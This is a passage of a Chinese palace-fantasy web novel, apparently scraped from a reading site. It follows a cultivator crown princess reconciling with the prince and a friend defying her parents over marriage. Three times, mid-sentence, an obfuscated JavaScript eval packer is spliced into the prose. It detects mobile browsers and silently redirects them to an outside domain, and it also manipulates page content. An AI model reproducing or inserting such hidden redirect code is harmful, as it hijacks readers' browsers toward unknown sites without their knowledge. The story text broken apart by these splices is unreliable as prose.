因着宫人在,赵景泽与宋瑛也是不再吭声,母子两各坐一方,暂时休战。 待到宫人退得差不多,宋瑛怒气也散了,只道:“你和阿晏吵嘴,何苦摆着脸色给旁人看,瞧你父皇,可有因此为难众臣过?怎么都到及冠之年了,还如此小孩子心性。” 赵景泽不语,心中却不满,那能一样吗,每次帝后吵嘴,都是皇帝有错在先,这次怎么想都是余初晏的错,是她食言在先。 宋瑛哪能不知道他,知道他心中有气,又道:“你这会纠人家的错了,最开始把她晾在后殿的是谁?东宫如今掌握中馈的是谁?你没把人家当正儿八经的太子妃看待,却恼人家不把你看在眼里。” 被翻旧账,赵景泽心虚了一瞬,很快又嘴硬,“那不一样,这是她答应儿臣的,却没做到。” “懒得跟你扯。”宋瑛上午还要召见李家夫人,当下赶人,“仔细想想你是怎么对人家阿晏的,再想想她为何偏偏答应你时刻告诉你去处。” 昨日面见李太傅,帝后方得知余初晏系国师之徒,两人心中激动不已,却因余初晏不在身边只能按捺住。 宋瑛已经与余初晏言明希望她继续做太子妃,此时再改口也不便,只能提点太子。 “阿晏是国师之徒,即使与你和离,我与你父皇也会以礼相待,珍之敬之。你这般还不如早早和离了,让她住进国师府去。” 赵景泽忙道:“我不和离!” 宋瑛睨他,“和不和离不是你说了算,只要阿晏一句话,你便是不想,又能如何。快滚,别来碍本宫的眼!” 被教训一顿的赵景泽,蔫蔫离开凤仪宫。 见到侯在殿外的向晖,赵景泽忍不住问:“本宫对太子妃不好吗?” 向晖眼里明晃晃写着,您在说什么鬼话。 这回轮到赵景泽心虚不已了,“那你说怎样才算对她好?” 向晖嗤笑,“属下不知,属下未曾成婚。听闻帝后出了名的伉俪情深,殿下居然不知?” 这造作地疑问,戳中了赵景泽的痛脚,闷声直道摆驾回宫。 向晖又朝他心窝捅刀子,“太子妃殿下今日不在东宫,说是有事,晚上回来用膳,殿下晚膳如何打算?” 怎么又离宫了,每天去做什么,赵景泽嘀咕,“晚膳再说罢,本宫今日很忙。” 向晖颔首,“如此,属下吩咐厨房将晚餐送到承德殿。” 赵景泽找补,“……送到听荷殿。” 向晖挑眉不解,“殿下不是很忙吗?” 太子恼羞成怒,“闭嘴!本宫治你大不敬!” - 余初晏又打了个喷嚏,这浓郁的黑气,弄得她浑身不适,恨不得马上回东宫找小龙崽子吸两口。 不过小龙跟她吵架了,也不知今晚能见到他吗,实在不行又只能爬屋顶了。 青渊帝关切望来,“虽说阿晏身怀神力,不易患病,严冬寒冷,还是多穿些为好。” 余初晏没理,这老龙,从知道她师尊是无霜道人后,态度就莫名亲昵,像是在看亲近的小辈。 手中批着奏折还不消停,开始怀念以往国师在时的光景。 “朕初见国师时,还不过总角……” 国师自他祖父还在时便是那副容貌,几十年未曾变化,如九天上的玄女。 她从乱世中辅佐赵家,见证了青渊的诞生,与月凰国皇帝也是关系匪浅。 青渊帝十六岁从先皇手中接过皇位,太后常年吃斋礼佛,不问世事,也是国师一路扶持,替他挡去众多非议。 待他羽翼丰满,却以回山修炼为由,辞去国师一职,无论青渊帝如何挽留,也无法令其回心转意。 只有在太子出生头年,国师曾回过澧都,赐下祝福后,又隐没山中。 青渊帝忆起往事,心中唏嘘不已。 余初晏虽沉默不语画着符,耳朵却高高竖起,不愿错过师尊的往事。 师尊鲜少提及她的过往,余初晏甚至不知她曾经做过青渊的国师。 对青渊帝来说,余无双亦师亦友,却也知像她那般仙人,与天同寿,凡人不过都是她生命中的过客而已。 虽说如此,青渊帝还是隐隐期待地问:“你下山前,师尊可曾提及过什么?” 什么都没有,师尊最后一段时日全在呕心沥血为她总结心法。 但见青渊帝期待的目光,余初晏想了想,翻出了一枚麒麟玉章,“师尊曾说这是故人的信物,若是得空替她去看一眼故人。这位故人说的是陛下罢。” 师尊原话是,若是没钱,凭玉佩找人要钱。 看青渊帝激动不已接过玉佩,珍而重之地仔细把看,复又小心交还,到底没将原话说出口,就当是个美丽的误会。 皇帝周身的黑气是淡了些,但紫气中还是混杂着斑驳的因果。 余初晏心想,身为一国之君,随意一个决定都将影响数万人生死,沾染因果也属正常。 这些沉杂的因果裹挟在皇帝身上,看似是负担,实际帮真龙之气暗中抗衡黑气的侵蚀,若非如此,皇帝更早前就该病危了。 所以余初晏随口提了一嘴,“陛下日后要更加仁爱亲民才是。” 皇帝应和,本该如此。 今日的符箓画好,余初晏另暗卫去将昨日贴的撕下,换上新的。 以后每隔一日都要如此,反正材料也是皇帝出,余初晏不心疼。 等到午时,余初晏就要出门,在阳气最盛的时候寻找阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508645|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 还未到时辰,她就着宫中舆图,排查几个最有可能的地方。 皇帝批复完久积的奏折,忽而问道:“你与太子一事,打算如何?” 余初晏心想,这帝后两人未曾通气吗,前两日皇后不是才问过,她不是也答应了。 还未等她回复,又听皇帝道:“你是老师之徒,按理合该是朕的师妹,与太子一同,岂不是乱了辈分,此事……” “赵在雍!”一声清呵截住了皇帝的话头,在宫中敢这么称呼皇帝的唯有一人, “你若是敢再说一个字,本宫未来三个月,绝不会踏入仁安宫半步!” 宋瑛风风火火踏入殿内,柳眉紧蹙,目含火光,她好不容易给儿子留足机会,这没眼力见的皇帝差点就给毁了。 青渊帝一头雾水,也不知何事招惹了皇后,期期艾艾哄着皇后。 余初晏看日头差不多,便起身请辞,推拒了让侍卫跟随的好意。 走了几步,想起舆图还落在殿内,令人去取,发现帝后已经不在前殿。 卓越的耳力让她仍能听到皇后的斥责声,但声音渐小,不知皇帝说了些什么,皇后语气里还带上了别的意味。 想到东宫里还有只等她哄的小龙崽子,虽说不礼貌,余初晏还是探出神识偷窥了一瞬。 就这么一眼,她似懂非懂,原来是用这种方式哄好皇后的,也不知管不管用,总之先学来,对着小龙崽试验一番再说。 - 余初晏气势昂扬地走了,又灰头土面地溜回东宫。 找了一中午,阵眼分明没在宫中,气得她大骂天道,故意折腾她。 被一道平地惊雷劈中,力度刚刚好,不至于太小像挠痒,不至于太大让余初晏得了煅体的便宜。 回东宫路上又骂了一路,这天道逮着她一只羊薅呢,也不见它去找布阵之人的麻烦。 到了东宫,余初晏捏了个净身决,整理好仪表才入内。 冬日暮色总来得更快,还未到用膳时,天色已经昏昏沉沉。 不爱走门的余初晏方落到听荷殿屋顶,便撞见了提灯前来的太子仪仗。 暗处保护太子的暗卫,被她的神出鬼没吓了一跳,而后者还有闲心跟他们打招呼。 “太子今日心情如何?”余初晏旁敲侧击。 按理暗卫是不能透露这些的,不过余初晏算不上外人,向三心直口快道:“主子心情不太妙,今晨被娘娘训斥了一顿……” 眼见太子已经行至殿门,余初晏却是没耐心再听,挥挥手,跳下屋顶。 暗卫面面相觑,向三忍不住问:“你说这太子妃对咱主子到底有没有心思?” 向一狠狠睨他一眼,“主子的事少管,闭着你的嘴。” 从天而降的余初晏,又差点将太子吓到。 刚想问她在屋顶上做什么,又想起她两还在吵嘴,心中别扭,端着架子没有吭声。 随身的小太监看向晖脸色,先行让人将菜布好。 素兰支着窗偷瞧了几眼,眼观鼻,鼻观心去帮忙准备。 僵持了片刻,余初晏先开口了,“站在外头做什么,不进去吗?” 赵景泽语气硬邦邦,“本宫想吹吹风。” 余初晏:……什么毛病,寒风有什么好吹的。 不过既然小龙崽喜欢,那她尊重好了。 “那殿下吹着,我先去喝口水……”作势要入殿。 赵景泽哪知她说走就走,暗骂怎么会有人比向晖还木头,还恼人。 幸好素兰挡住了余初晏的去路,“殿下不如先到殿中用过晚膳后,再与太子妃娘娘一同去园中吹吹风。” 素兰眼睛都快眨抽筋了,好歹余初晏看懂了她的意思,明白小龙崽子是跟她闹别扭才说是在外吹风。 转身几步间就来到赵景泽面前,揪着他的领子,在太子错愕的神情中,如小鸡啄米般,在他唇上贴了一下。 因为太快,两人的鼻尖还撞在了一起。 赵景泽冻得唇都是冷的,还嘴硬说要吹风,余初晏也是被他逗乐了,“阿泽现下能进殿了吗?还是说要继续吹风?” 赵景泽:?!!!!! 11. 夜半 “你说她那能叫吻吗?不过就是在唇上贴一下!”赵景泽又快又急走在宫道上,寒风都吹散不去他脸上的热意, “别以为那样就能哄好我!” 向晖问:“那您跑什么?晚膳还用吗?” 赵景泽:“……叫人重新做些送来。” 再说余初晏那边,因为太子跑得太快,他的随行宫人都没反应过来,已经没影了。 这些人一个个在听荷殿走也不是,留也不是。 还是素兰开口让他们赶紧追上殿下,才行礼后,一窝蜂离去。 余初晏没觉得有什么,自顾自坐下吃东西,太子走了,那这十多道菜品就都是她的了。 也不知太子那样算不算被哄好。 素兰强压下心中的震惊,她如今已经能坦然面对余初晏各种出格行为。 “阿晏小姐,您……唉,您好歹关上门做那种事,怎么能当着这么多下人。” “太子殿下脸皮薄,可不被您吓跑了。” 几位小宫女都羞红着脸,毕恭毕敬站在一旁,看向余初晏的眼中透着崇拜。 余初晏原本觉得麻烦,转念一想,帝后也是特意避开了旁人去后殿,那方才大庭广众之下,小龙崽子恐怕更恼了。 反省一番,余初晏抬眼,玉箸却不曾停过,“我下次注意些。” 素兰心梗,也不知阿晏小姐到底来自何方,青渊国教习女子应有的礼义廉耻,她是一点不遵守。 但平日里行事、谈吐却不粗俗,还称得上端庄有度,只在某些方面,弄得人哭笑不得。 等到晚间,素兰惯例守夜,余初晏让她早些歇着,不用管她,一副准备外出的样子。 “阿晏小姐,这大半夜的您要去哪?”素兰望着屋外漆黑的天,心中担忧,可别又要去做刺客。 余初晏也不瞒她,随手换了套便于行动的夜行衣,“去关起门做那种事。” 素兰:“……” 素兰:“!!!!” 反应过来想叫住余初晏,人已经消失在暮色里。 还不如去做刺客……横竖是主子的事,她不该管的,尤其阿晏小姐根本管不住。 素兰棉被一铺,躺下闭眼,全当自己不知情。 - 赵景泽在书房待到二更天,这些日子事务繁多不仅仅是说说而已。 清晨与皇后那么一吵,赵景泽也意识到他好像确实没那么重视余初晏。 且不说中馈一直由皇后派来的大宫女管着,他也忘了要交给余初晏。 单说他今日才知,少府监制的太子妃常服、礼服都还按照李晓蓉的尺寸。 那日他只随意瞧上两眼,都看出余初晏比对方高出一截,难怪余初晏甚少穿新制的常服。 好歹他命人明日重新量过,加紧再做几套,再怎么样也得在祭天时,让余初晏穿上合身的礼服。 他今晚原本想问问余初晏本人的意思,被那个突如其来的吻搅得脑子乱糟糟,当着众人的面落荒而逃,还被向晖看了笑话。 赵景泽一回想当时的场景,脸都恨不得藏进怀里,公文也不看了,收拾一番便要回寝宫, 甫一到宫门,却见原本应当守在塌前的守夜宫女,跪在外间发呆,一旁还跪着个蒙着脸的向三。 赵景泽疑惑:“这是做什么?” 宫女支支吾吾说不出话,向三道:“您进去就知道了。” 赵景泽更加狐疑,三步并作两步绕过屏风,脚下一顿,不确定,再看一眼,很快又退出来。 “她怎么在这?” 向三哪知道啊,他今天值夜,本来就冻得哆嗦,一只手冒出来拍他的肩,差点把他魂都吓没了。 转头就看见余初晏冷着一张脸问他,“太子什么时候回来?” 向三答不出,随后发展成了这样,余初晏坐在太子的小塌上,守夜宫女被她盯得瑟缩着退出内间。 向三委婉说:“也许,太子妃殿下找您有要事呢……” 赵景泽哪敢进去啊,看余初晏穿着,像是要寻仇般,扭头就想走。 “太子殿下怎么不进来?”他不进去,余初晏出来了。 赵景泽一想,这是他的寝殿,他跑什么,在怎么着也应该是余初晏走。 于是闷头绕过余初晏,冲进内间。 向三看他壮烈的背影,低声吩咐守夜宫女不用再入内了,今晚守在外间,或者等两位殿下传唤。 赵景泽一言不发,自顾自地脱去大氅,露出内里藏青色锦袍,扣在腰带的手一僵,到底没继续往下。 “你今日跑什么?不是陪我用晚膳的?”余初晏拾起他褪到地上的鹤氅,随意搭在椅间。 “你还好意思说,”赵景泽压着声音,却是不敢回头看余初晏,“你怎么随意亲人?” 余初晏认错态度良好,“那我下次不在外头随意亲你。” “……”赵景泽总觉得哪里不对,这是在不在外头的问题吗。 差点被余初晏带进坑里,赵景泽红着耳道:“我是说,你不能随意亲人,那是……两情相悦之人才能做的亲密事,怎能随便与人……” 余初晏懂了,所以不是她的问题,纯粹因为赵景泽心悦之人另有其人,所以不能用这个方子哄。 兴致缺缺地点头,她还想着贴这么一下,紫气吸入得比以往更多,眼看着自己就快触到筑基中期的瓶颈了,若是能哄好太子,她多来几下也未尝不可。 不过既然太子不愿意,那余初晏就不强求了,“行了,那我不亲你了。” 见她还算通情达理,赵景泽松了口气,又有些怅然。 身后没了声息,他回头,想看看余初晏在做什么。 却见窗户大开,余初晏正准备翻窗离开,半边身子已经在外头。 赵景泽急了,冲上前拉着她,“你做什么去?” “回去啊。”余初晏扭头,一脸无辜,“你又不让亲,也不让侍寝,留在这做什么?” 屋顶传来瓦砾碰撞声,像是什么人差点滑落,赵景泽探出头怒道:“向三你给本宫滚远点!” 又是一阵窸窣的动静,余初晏扯了扯被赵景泽死死抓住的手臂,“我要走了,放心,我也不会蹲屋顶。” “你还蹲过屋顶?!”赵景泽拔高声音,余初晏一脸淡定,平静的目光看得赵景泽又羞又恼。 却是坚定地握着她的手臂不放,“你得说清楚,你今晚到底来做什么的?” 余初晏就这么坐在窗台上,还不忘侧身替太子挡着点寒风,“我食言,你生气,来哄你,所以你还在生气吗?” 赵景泽也是没话说,深深垂首,将脸压得很低,不让人瞧见他快熟透的脸。 “那你从何处学来的亲人就能哄好?” 余初晏的声音带着犹疑,“我看陛下就是这么对皇后,皇后很快就不生气了。” “想来帝后两情相悦,这般做没问题,下次不会了。”也不知道有其他法子哄人没,明日再问问旁的人。 父皇这个为老不尊的家伙,这种事居然还让余初晏撞见了! 赵景泽抬起头,目光闪烁,“如果我说我还生气,阿晏要怎么办?” 能怎么办,余初晏晃了晃腿,“明日再想办法,太子今日先气着罢。” 赵景泽:“……”阿晏这张嘴,可真是气死人不偿命。 咬牙切齿道:“你不是说来哄我的,我还气着呢,哪能什么都不做就这么走了?” 被他反复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525996|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无常弄得一头雾水,余初晏空着的手伸出,摸了摸他又被冷风吹得冰冷一片的脸颊。 随即翻身回到室内,将窗户关上,看太子这样一时半会说不清楚,她还是进来,免得小龙崽被吹病了。 “那你当如何?”她问。 “那你之前打算如何哄我?”赵景泽反问。 这不闹吗,余初晏眼神谴责赵景泽,说不能随便亲人的是他,现在要哄的也是他,不让她走的还是他。 看在是小龙崽的份上,余初晏忍了,“阿泽自己说的要心悦之人才能如此,那我便不亲了,现在又要做什么?” 赵景泽忽然灵光一闪,猛地瞪大眼,“你有其他心悦之人?” 余初晏:?到底是谁有心悦之人,这赵景泽怎么还倒打一耙? “你还想去亲别人?!”赵景泽却是不依不饶,见余初晏不回答,只当她默认了。 “你都是我的太子妃了,怎么还能想着旁人?不对啊,你既然心悦他人,当初为何替嫁进东宫?难道你心悦向晖?” 眼见太子越说越离谱,都开始细数向统领的坏毛病,余初晏忍无可忍,再次扯过太子的衣领。 寝宫内终于一片死寂,小龙崽子唇上还有股桂花蜜的味道,想来他晚膳用了桂花糕,余初晏没忍住,用舌尖轻轻舔了舔他的下唇。 屋外传来报时的更声,已是三更天。 余初晏后撤一步,看赵景泽满脸呆滞,好半天才松开握着她手臂的手,转而摸了摸自己的下唇。 “我真走了,太子要气就气吧,反正我绝没有心悦向统领。” 等余初晏翻出去,准备合上窗户,赵景泽还站在原地发愣。 她想了想,又小声补充:“殿下早些休息罢,明日我要去李府一趟。” 窗户彻底合拢,太子的身影被关在窗后,余初晏又舔了一下自己的唇,之前被寒风吹得有些干燥,现下却带着甜腻的潮湿。 更重要的是经脉内充盈的紫气。 太可惜了,小龙崽子不能随便亲,余初晏摸了摸丹田处,等下一只,她一定要找个能让她想亲就能亲的。 - 等到余初晏的气息彻底远去,向三才从屋顶倒挂着出现在窗前,“殿下夜深了,可要传人上些热水?” 心中想的却是,太子殿下不太行啊,这么快就算了,太子妃还能跑能跳的。 殿内传来咆哮:“滚!” 只当太子欲求不满,向三又躺回屋顶。 没过多久,太子还是唤人送来热水洗漱,折腾良久,才彻底歇下。 只听夜里翻来覆去声音不断,太子一直未能入睡,终是早早地起来去了练武场。 恰逢暗卫换班的时间,向三伸了个懒腰回去补眠。 路上撞见了同样早起晨练的向统领,他问向三昨夜什么情形。 向三却是摇头不语,主子的秘密就由他来守护。 他故作神秘的模样与莫名的责任感都让向晖茫然不解,只觉得他欠揍无比。 今日到了操练时间,向晖便放过了他。 刚到练武场,就被太子邀请对战,向晖没放水,狠狠揍了太子一顿。 以往绝对会气急败坏叫嚷着治他罪的太子,今日却面带诡异的笑容,看得向晖一阵恶寒。 等到晨练结束,太子昂着下巴,特意走到他面前,道:“太子妃心悦本宫。” 向晖:“……殿下,您需要请太医吗?” 赵景泽没有回嘴,又道:“她心悦本宫。” 说着心花怒放地离去,他该去凤仪宫请皇后安了。 徒留向晖在原地,心中一口郁气憋得不上不下的。 给赵景泽当侍卫,他可真是,上辈子欠他的。 12. 李府 阴沉的天又下起了小雨,断断续续地下着。 李太傅去上值,夫人清晨去庄子巡查,晚些时候才会回府,接待余初晏的只有几位老仆。 余初晏让他们去忙,自己轻车熟路的来到李晓蓉的院子里。 李晓蓉在书房看书,不远处还摆着她未完成的绣品,余初晏扫了眼她手中的书,是四书五经那类满是仁义道德的书。 凡人总喜欢制定各种规则束缚自身,真正能完全遵守的人却不多。 余初晏虽不感兴趣,也泛泛读过几本,只因师尊说于这些书中能找到她的道。 师尊的道就源自于此。 可惜余初晏只囫囵读书,记在脑中就当看过了,未去深究个中含义。 与其将道的范围困于几本凡人的书中,她不如畅游世间后,再去寻自己的道。 李晓蓉看得入迷,手中的秋毫时不时挥动,于书中留下一小行注解。 行至不解之处,眉心紧蹙,留了小折角,待到父亲回来时再问。 直到余初晏走近,替她研墨,李晓蓉才恍然从书中退去,惊喜道:“阿晏你怎么来了?” 放下书,她起身去传人送些热汤来。 余初晏垂着眼瞧她,“你昨日进宫,可见到皇后了?” 没有错过李晓蓉短暂的眼神闪烁,余初晏想拉着她一同坐下,却被后者反应强烈地拂开手。 余初晏神色未变,李晓蓉捂着胳膊连声抱歉,小心打量她的脸色。 “你的手臂怎么了?”方才余初晏就观察到了,李晓蓉看书时偶尔会放下笔,轻轻拂过另一只手臂,想来是受伤了。 李晓蓉面露祈求,“抱歉,阿晏,我们不说这个好吗?” 余初晏不咸不淡地应声,目光落到房间内的炭盆上。 虽是上乘好炭,数量却不多,房间里温度也不高,李晓蓉的手指冻得发红。 “阿晏你可是生气了?”李晓蓉又悄悄去够余初晏放在桌上的手,她的手被冻得又红又肿,不像余初晏总是莹白如玉的模样。 下人端上来热汤,与特意做的桂花糕,在李晓蓉期待的目光下,余初晏尝了两口,有些干巴,噎嗓子。 就着茶水吞下去,余初晏皱眉,“没有晓蓉你做的好吃。” 李晓蓉终于展颜,“你来也不提前告诉我,早知道便亲手制给你。” 余初晏不再碰桂花糕,她最近吃得很好,反而有些挑剔了。 想到今日来的目的,她直奔主题:“我与帝后说过你的事了,他们答应我不再追究,晓蓉你自由了。” 李晓蓉却是没有想象中那么兴奋,刚扬起的唇角又压了下去,愁容爬上她的面容。 她反复抿唇,好半天才说:“阿晏,我不知怎么办才好?” 原是她与母亲进宫面见皇后,皇后对她态度不冷不热。 听她请罪也没有过多计较,只道阿晏替她求过情,不知以何为交换,换取不再追究李家之过。 李晓蓉心中本就万般不是滋味,又听皇后与母亲商议,说是要让阿晏记在李家名下当做义女,对外声称一开始嫁入东宫的就是她,而不是李晓蓉。 如此既保全了皇家容面,也算是解释了为何太子妃换人一事,堵住悠悠众口。 母亲自然是乐意的,高高兴兴谢过隆恩,之后也就拉扯些家常,没过多久母亲便待她离宫。 自始至终,皇后都未用正眼瞧过她。 “这事我知道。”余初晏从记忆里扒出这一小段,皇后有说过要寻个稳妥的法子,让她太子妃之位来的名正言顺。 李晓蓉甫一回到家,就被母亲催促着相看人家,母亲嘴上说着皇后正是此意,只要她早些定下了,再宣传一番,替嫁之事就能顺势圆满解决。 李晓蓉为此发愁,“我不想再嫁给陌生男子。” 上回余初晏替她嫁了,生出一众是非。这一次她又该如何,难道非得嫁入别家,难道爹娘养她便是为了有朝一日她嫁给别的男人? 余初晏虽是不能理解李晓蓉的苦恼,也知造成这一切也有她的过错,所以她问:“那你想如何?” 李晓蓉咬唇道:“我想自己养活自己,不想嫁给什么旁的人。” 月凰国有那么多能够自食其力的女子,在外的一个月里,她也有尝试过。 李晓蓉也知赚钱苦累,但也好过被困于方寸大小的后院中,过上一眼望得见头的日子。 她将不想嫁人的想法告知爹娘,换来的却是太傅一顿毒打。 李晓蓉不自觉又抚上受伤的双臂。 “让我看看你的手。”余初晏语气平静,眼中含着不容拒绝地坚持。 在她的逼视下,李晓蓉缓缓拉起衣袖,手臂上,青中泛紫的伤痕交错着延伸至袖口,看起来触目惊心。 下手之人用了狠力,除了手臂上小腿上也是斑驳的伤口,竟是要将她四肢打断才好。 余初晏轻轻覆上这些伤口,李晓蓉瑟缩着想躲,却惊讶地发现被余初晏拂过后,手臂疼痛缓解不少。 “你这又是何苦?” “我不想当笼中鸟,只能待在后院一亩三分地,日复一日盼着丈夫宠幸,除了孩子再无寄托,我想……我想像阿晏一般,想去哪就能去哪,凭自己的双手过活。” 李晓蓉目光坚定,她从未如此清楚自己的目标。 “我知是我得寸进尺,但是阿晏,你能再帮帮我吗?” 余初晏余光瞥见门外一闪而过的身影,知晓林氏一直站在屋外。 她摇了摇头,“我不能送你独自一人离开,那是害了你,至少在你真正拥有自保能力前,我绝不会再像之前那样。” 李晓蓉双眼一暗,却不死心,“我镯子上还有你送我的法术,我不算完全没有自保能力,况且只要去到月凰国……” 余初晏还未开口,屋外的林氏已经冲入房中,她眼眶通红,不知是气的还是别的原因,厉声道:“我与你爹平日还是太过娇宠你,竟将你养成这般不知天高地厚的性子!早知你这番心思,昨日我就不该拦着你爹,让他打断你的腿!” “既然你执意离开,那为娘问你,身份路引你怎么解决?你打算靠什么养活自己?衣食住行该花多少铜钱?油米柴盐价格你可知晓?没有僮仆,你可会自行打理生活?法诀失效,遇到歹人又该如何?何况你独身一名女子,在外讨生活,流言蜚语你可承受得住?你就这么离开,可有想过爹娘又该如何自处?” 李晓蓉被她一连串问题问傻眼,随后不甘示弱回道:“我识字、会算账、会刺绣,缘何养不活自己?大哥能十几岁就离家闯荡江湖,缘何我就不能?仅仅因为我是女子?我必须要嫁人?既然如此娘亲何不在生下我后就将我送至结亲人家,也好过让你们多费心这么多年!” “啪——”地一声,却是林氏一巴掌扇在了李晓蓉面上,打得后者偏过脸,发髻散乱,林氏还想动手,她身后一众婆子当下拦住她劝阻。 “夫人这又是何苦,小姐还年幼,留在身边再教导两年便是了……” “到时候心疼的还是夫人您,别气坏身子。” 余初晏上前扶住李晓蓉,拨弄开她的碎发,看到了她红肿的脸,与被指甲划破的唇角。 看到李晓蓉眼中倔强不肯落下的眼泪,心中不知做何想,最终叹了口气,“你说这种话,又伤自己,又伤夫人的心。” 李晓蓉说完就后悔了,爹娘疼爱做不得假,她只是一时口快,可话已说出口,覆水难收,只能避开林氏的视线,捂着脸一言不发。 林氏气不过,哪怕一众下人拦着她,替她顺气,她狠下心不去看李晓蓉,“既然你道能养活自己,那也不必待在李府了罢,恰好你舅家有座绣庄,明日起你便去绣庄做工……” “去就去!”李晓蓉不待她说完,直去收拾行囊。 “这怎么使得!”婆子想去拦,又是一阵劝阻。 林氏却道:“与其让她在此逼迫阿晏帮忙,来日后悔又心生埋怨,不如一开始就让她先吃上一番苦头。” 婆子重重叹气,往后室去追李晓蓉,这回林氏却没阻拦。 勉强收拾好容颜,林氏打起精神向余初晏致歉,直道李晓蓉又给她添麻烦了。 余初晏难得觉得事情棘手,也不知做何态度,只能轻声道:“晓蓉并非有心说出那番话的。” “我知道。”林氏苦笑,“我与她爹从来只希望她平安健康,适龄嫁个好人家,有我和她爹在,断不会有夫家敢刁难于她,如此顺遂一生。她偏偏要去走那艰难的路,任性至极。” 余初晏抿唇,“可是夫人,如果晓蓉过得不开心,也能叫顺遂一生吗?” “她是没吃过苦头,世间对女子本就多有苛责,女子独立门户养活自己哪是说说那么容易。”林氏终是不想再谈,打定主意让李晓蓉去绣庄做几天工,吃几天苦头。 虽说如此,等李晓蓉真提着包袱离家时,林氏又在背后捂着嘴呜咽。 余初晏瞧见了,又去看李晓蓉,她同样咬着牙默默流泪。 “阿晏不必送我,横竖是舅舅的绣庄,不会有人为难我。”李晓蓉轻轻抱了抱她,知晓她的心忧。 “娘亲说得对,是我太任性,不应该强求于你,我要自己证明给娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525997|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲看!” 说着她忽而朝着林氏跪地,遥遥磕了个头,才登上马车,头也不回地离去。 到底放心不下她,余初晏留了一道诀在李晓蓉身上,才与林氏道别后回宫。 - 与李晓蓉一见,余初晏心情莫名低落,照常在皇宫转了一圈,仍然未能找到阵眼。 盘算着是否应该扩大搜查范围,找不到阵眼,皇帝就得一直困在仁安宫,靠着她的符箓续命。 她愁眉不展,皇帝倒是悠闲自得,还有闲心召人进宫和他下棋。 见余初晏,皇帝也不避讳,直唤她过来,将那棋手介绍与她。 “此乃钦天监监副裴松山裴大人。” 眼前白面书生看模样不过二十四五,身着绯色官袍,端端正正朝着余初晏作揖行礼。 余初晏兴趣缺缺,随意扫一眼他,橘色之气拢在身边,搭上他一身红,像是枚熟透的柿子。 “……国师府闲置多年,如今重新修缮一番,阿晏若是想,几日后便能入住,届时便让裴监副领着阿晏熟悉一番。” 原来是老龙想把师尊以前住的宅子给她,不过既然是师尊的宅子,找个二十来岁的年轻小生领着她熟悉做什么,这人之前也住在那里? 工具一摆,开始今日的画符,若不是在皇帝身边画效果更佳,余初晏已经回东宫了。 偏生那大柿子连棋都不下了,凑到她身边观摩。 皇帝也不制止,自顾自批阅起奏折来。 最后一笔朱砂落下,符文闪过金光,凡人看不见的灵气封印于其中,金光很快褪去,符箓已成,乍一看与普通符纸无异。 大柿子忽然盈盈一笑,声音清朗,“早听闻仙人制符奥妙无穷,今日一见果然名不虚传,多亏了小仙,下官才能观得如此异象。” “……”余初晏又瞥他一眼,神色微妙,方才制符有何奇观,不过是一点点金光。 浮夸之人。 余光见皇帝不停打量着他两,心中顿悟,这青渊帝怕不是派人来偷师的,想着大柿子学会了,就能不再受制于她。 长袖一挥,工具自然收进袖中,却是不再看旁人,也不搭话。 余初晏将符交到汗流浃背的汪朝顺手中,与青渊帝打个招呼,自行离去。 不多时,汪朝顺追了上来,嘴中不断嚷嚷着,“小仙留步,小仙留步。” 脚步微顿,还是等他追上,余初晏见他寒冬腊月里不停用帕子擦汗,提醒道:“陛下殿中地龙不要燃太旺。” “奴才省得。”汪朝顺又抹了把虚汗,这余初晏速度太快,他跑了半天才追上,累得直喘气。 想到陛下的托付,他尬笑道,“却不知小仙如何看今日那位裴大人……这裴松山大人年二十又四,还未有婚配,家中父母具是清正之人,他又是家中二子……虽说目前只是从六品监副,未来可期……” 余初晏不想听他絮絮叨叨,打断他,“你去回禀陛下,我自己也学艺不精,是万万不可能收徒的。” 说罢,不再给汪朝顺继续往下说的机会,拂袖而去。 留在原地的汪朝顺笑容一僵,遥望了片刻,才跺脚跑回安仁宫复命。 心中暗松一口气,幸好这余小仙是误会了。 他复问跟在身后的小太监,“你可听清,余小仙说的可是什么收徒?” 小太监毕恭毕敬回:“奴才听得清清楚楚,余小仙说是绝不可能收徒。” 汪朝顺这下彻底将心放回胸口,等到了安仁宫大门,撞上了皇后仪仗,刚安下的心再度高高悬起。 不巧太子竟也在其中。 太子眼尖,一眼便瞧见了行礼的汪朝顺,直问:“你不在跟前伺候父皇,在外头做什么?” 汪朝顺苦哈哈地陪笑,“奴才方才送走小仙大人,如今回来复命。” 太子知晓小仙指的是替皇帝治病的那位高人,从未见过本人,总因为各种原因错过。 今日又是这般,高人前脚刚走,他后脚才堪堪到安仁宫,赵景泽感慨这位高人太过神秘。 宋瑛却是眉心一压,问道:“殿内还有何人在?” 